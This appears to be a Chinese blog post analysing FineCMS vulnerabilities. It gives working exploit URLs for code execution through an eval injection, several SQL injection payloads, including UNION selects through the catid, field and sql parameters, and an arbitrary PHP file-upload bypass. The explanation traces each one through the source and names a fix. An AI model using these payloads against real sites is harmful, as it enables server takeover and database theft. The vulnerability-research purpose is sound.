Fork me on GitHub

finecms漏洞分析

任意代码执行(CVE-2017-11585)

1
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271

  • 问题存在于/finecms/dayrui/controllers/Api.php的data2()中,开头验证了授权码
  • 授权码在config/system.php文件中,SYS_KEY是确定值,md5之后得到50ce0d2401ce4802751739552c8e4467
  • 往下看,Template对象里面的list_tag()param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271被分为两个数组,其中数组的内容为
    1
    2
    $var=['action','name']
    $val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']


  • 跟进list_tag(),问题出在@eval()
  • swtich选中的是cache,则
    1
    2
    $_name='MEMBER'
    $_param="1%27];phpinfo();$a=[%271"

  • 跟进_get_var,假如把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']。那么攻击思路就是把两边的[' ']闭合然后再放上恶意的代码。
    payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:$string=['1'];phpinfo();$a=['1']
  • 修复建议
    1
    _get_var函数里面多了一个dr_safe_replace过滤函数

sql注入

Template.php catid变量 SQL注入漏洞(CVE-2017-11583)

1
2
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=related%20module=news%20tag=1,2%20catid=1,12))%0aand%0a0%0aunion%0aselect%0a*%0afrom(((((((((((((((((((select(user()))a)join(select(2))b)join(select(3))c)join(select(4))d)join(select(5))e)join(select(6))f)join(select(7))g)join(sele
ct(8))h)join(select(9))i)join(select(10))j)join(select(11))k)join(select(12))l)join(select(13))m)join(select(14))n)join(select(15))o)join(select(16))p)join(select(17))q)join(select(18))x)%23

  • 绕过安全码的过程同上,跟进list_tag()/finecms/dayrui/libraries/Template.php

    param参数通过空格分割,然后解析分别赋值给system参数字典中,这里是个变量覆盖漏洞。通过这里,我们可以设置任意一个system变量。
  • 进入case,这里我们进入action=related

必须传入catid,并且保证参数内存在逗号,这样catid的每一个值就会不经过任何变量过滤进入sql语句,形成注入

Template.php field变量 SQL注入漏洞CVE-2017-11584

1
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23

  • 共用一个field,且没做任何过滤

finecms/dayrui/libraries/Template.php里面的list_tag()中的sql模块

1
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql=%27select%20version();%27

  • 进入case:sql模块

  • preg_match(),匹配过后sql是一个数组:

    1
    2
    3
    4
    5
    6
    array(2) {
    [0]=>
    string(23) "sql='select version();'"
    [1]=>
    string(17) "select version();"
    }
  • 执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache']默认缓存时间是3600

  • 跟进_query(),发现没做任何过滤

finecms/dayrui/libraries/Template.php里面的list_tag()中的html模块

1
http://www.finecms1.com:8585/index.php?c=api&m=html&name=search&format=html&params={"search_sql":" select concat(0x7e,database(),0x7e) as description"}

  • 跟进assign()模块,把用户输入的变量都保存在_options数组
  • 跟进display()模块,注册了用户输入的变量
  • 跟进load_view_file模块
  • 跟进handle_view_file模块,list标签对应list_tag方法
  • 搜索list标签来找个模板文件:templates\pc\default\common\search.html

任意文件上传
/finecms/dayrui/controllers/Api.php

  • uidfile从外部传入,可控
  • 传递uid=1。那么这时候的dir为member/1/
  • preg_match()没有做严格过滤可以用data:image/php绕过。
  • 文件名固定为:0x0.php
  • SYS_UPLOAD_PATH为固定值uploadfile
  • 那么文件内容可控,路径已知。

参考文献:

https://bbs.ichunqiu.com/thread-34982-1-1.html
https://lorexxar.cn/2017/07/26/finecms%E5%88%86%E6%9E%90/#Template-php-catid%E5%8F%98%E9%87%8F-SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-CVE-2017-11583
https://blog.csdn.net/xiaoi123/article/details/84304568

-------------本文结束感谢您的阅读-------------